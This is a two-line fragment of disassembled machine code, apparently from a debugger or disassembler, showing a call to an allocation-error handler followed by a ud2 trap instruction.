call dbg.handle_alloc_error
ud2